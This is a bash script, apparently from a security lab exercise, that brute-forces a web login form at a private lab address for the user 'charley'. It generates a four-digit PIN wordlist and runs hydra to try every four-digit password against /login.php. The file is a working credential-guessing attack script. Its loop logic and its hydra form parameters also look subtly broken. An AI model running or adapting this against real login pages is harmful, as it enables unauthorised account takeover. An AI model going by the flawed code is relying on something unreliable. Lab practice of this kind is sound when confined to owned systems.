#!/bin/bash

curl 192.168.56.101/login.php >> test.txt

#curl 192.168.56.101/login.php -d "username=charley&password=1337&Login=Login

#[ -e passwordList.txt ] && rm passwordList.txt
#touch passwordList.txt

for a in {0..9}; do
	for b in {0..9}; do
		for c in {0..9}; do
			for d in {0..9}; do
			d="$d$c$b$a"
			echo "$d" >> passwordList.txt
			done
		c="0$c$b$a"
		echo "$c" >> passwordList.txt
		done
	b="00$b$a"
	echo "$b" >> passwordList.txt
	done
a="000$a"
echo "$a" >> passwordList.txt
done


#hydra -l charley -P passwordList.txt -f 192.168.56.101 http-form-post "/login.php:charley=^USER^&password=^PASS^&Login=Login:FailureToLogin"

hydra -l charley -V -x 4:4:1 -f 192.168.56.101 http-post-form "/login.php:charley=^USER^&password=^PASS^&Login=Login:Login failed"